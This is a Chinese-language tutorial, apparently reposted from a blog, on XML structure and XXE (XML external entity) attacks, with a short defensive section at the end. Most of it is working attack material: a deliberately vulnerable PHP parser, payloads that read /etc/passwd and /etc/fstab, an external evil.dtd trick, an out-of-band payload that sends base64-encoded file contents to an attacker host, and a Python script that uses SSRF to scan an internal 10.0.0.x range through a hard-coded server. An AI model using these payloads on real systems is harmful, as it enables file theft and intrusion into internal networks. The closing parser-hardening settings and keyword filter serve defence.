XML是一种非常流行的标记语言,ML就是Markup Language 标记语言的缩写,顾名思义标记语言就是把普通的文本加上标记,让计算机能够识别。这里XML是可扩展标记语言,主要用于配置文件,其他的还有HTML(超文本标记语言),XHTML(可扩展超文本标记语言),主要用于网页文件等。
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素
常用的有说明使用的编码
<?xml version="1.0" encoding="GB2312" ?>
说明文档是否独立,是否依赖外部文件,yes标识需要外部文件
<?xml version="1.0" standalone="yes" ?>
也叫做XML约束,XML DTD是XML约束的一种,全称为文档类型定义
内部声明DTD
<!DOCTYPE 根元素 [元素声明]>
元素声明使用规则:
引用外部DTD,有两种
<!DOCTYPE 根元素 SYSTEM "文件名">
<!DOCTYPE 书架 SYSTEM “book.dtd”>
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">
DTD引用网络文档对协议的支持:
DTD 有两种数据:
XML元素是指XML文件中出现的标签,标签有其实标签和结束标签,中间的是主体。标签中还可以包括属性
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>
<!-- ANY表示接受任何元素,定义了一个xml实体,实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用-->
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
上面这种是内部实体,类似于在内部定义了一个变量,配合前面的引用外部DTD,可以使用外部实体,比如file协议:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
这样对引用资源所做的任何更改都会在文档中自动更新,非常方便(不安全)
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;
参数实体就是触发XXE的关键
从上面的功能,第一反应可以想到的就是本地任意文件读,当我们可以控制一个xml时,我们可以发送一个带有本地文件的实体,然后用标签打印出来
server 漏洞代码:
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents(‘php://input‘);
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///etc/passwd"> ]>
<creds>&goodies;</creds>
结果:
这个poc有一个问题, 如果读取的文件里面包含标签的相关字符,比如<>这种,DTD会进行解析,解析失败就会报错。因此要用到前面说的CDATA
有些内容可能不想让解析引擎解析执行,而是当做原始的内容处理,用于把整段数据解析为纯字符数据,而不是标记的情况包含大量的 <> & 或者" 字符,CDATA节中的所有字符都会被当做元素字符数据的常量部分
<![CDATA[ XXXXXXXXXXXXXXXXX ]]>
也就是说我们要把CDATA[] 拼接到变量前后,比如直接拼接:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY start "<![CDATA[">
<!ENTITY goodies SYSTEM "file:///etc/passwd"> ]>
<!ENTITY end "]]>"
<creds>&start;&goodies;&end;</creds>
实际测试会报错, 也就是不能在xml中拼接,要拼接以后再在xml中调用,那我们只能用参数实体,在另一个DTD中拼接好定义的字符串,再定义一个拼接好的交给xml调用,这种我们需要另外一个可以访问的外部DTD
Payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///etc/fstab">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd; ]>
<roottag>&all;</roottag>
evil.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">
测试在php7成功读取到/etc/fatab里面的各种字符
使用外部实体实现外部回显
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM ‘http://ip:9999?p=%file;‘>">
payload
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
既然可以读取远程读取到我们server上的evil.dtd,同理也可以访问服务器内部造成SSRF,以及内网端口扫描,脚本:
import requests
import base64
#Origtional XML that the server accepts
#<xml>
# <stuff>user</stuff>
#</xml>
def build_xml(string):
xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + ‘"‘ + string + ‘"‘ + """>]>"""
xml = xml + "\r\n" + """<xml>"""
xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>"""
xml = xml + "\r\n" + """</xml>"""
send_xml(xml)
def send_xml(xml):
headers = {‘Content-Type‘: ‘application/xml‘}
x = requests.post(‘http://34.200.157.128/CUSTOM/NEW_XEE.php‘, data=xml, headers=headers, timeout=5).text
coded_string = x.split(‘ ‘)[-2] # a little split to get only the base64 encoded value
print coded_string
# print base64.b64decode(coded_string)
for i in range(1, 255):
try:
i = str(i)
ip = ‘10.0.0.‘ + i
string = ‘php://filter/convert.base64-encode/resource=http://‘ + ip + ‘/‘
print string
build_xml(string)
except:
continue
般对于web服务来说,最常见的数据格式都是XML和JSON。尽管web服务可能在编程时只使用其中一种格式,但服务器却可以接受开发人员并没有预料到的其他数据格式,这就有可能会导致JSON节点受到XXE(XML外部实体)攻击
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/json
Content-Length: 38
{"search":"name","value":"netspitest"}
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43
{"error": "no results for name netspitest"}
现在我们尝试将 Content-Type 修改为 application/xml 返回包会显示:
{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}
这种情况下我们就可以尝试发送xml payload进行XXE注入
java中有一个jar://协议,格式:
jar:{url}!{path}
jar:http://host/application.jar!/file/within/the/zip
具体利用参考文章https://xz.aliyun.com/t/3357
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
.setFeature("http://xml.org/sax/features/external-general-entities",false)
.setFeature("http://xml.org/sax/features/external-parameter-entities",false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
过滤关键词:
<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC
原文:https://www.cnblogs.com/chengez/p/xxe-lou-dong.html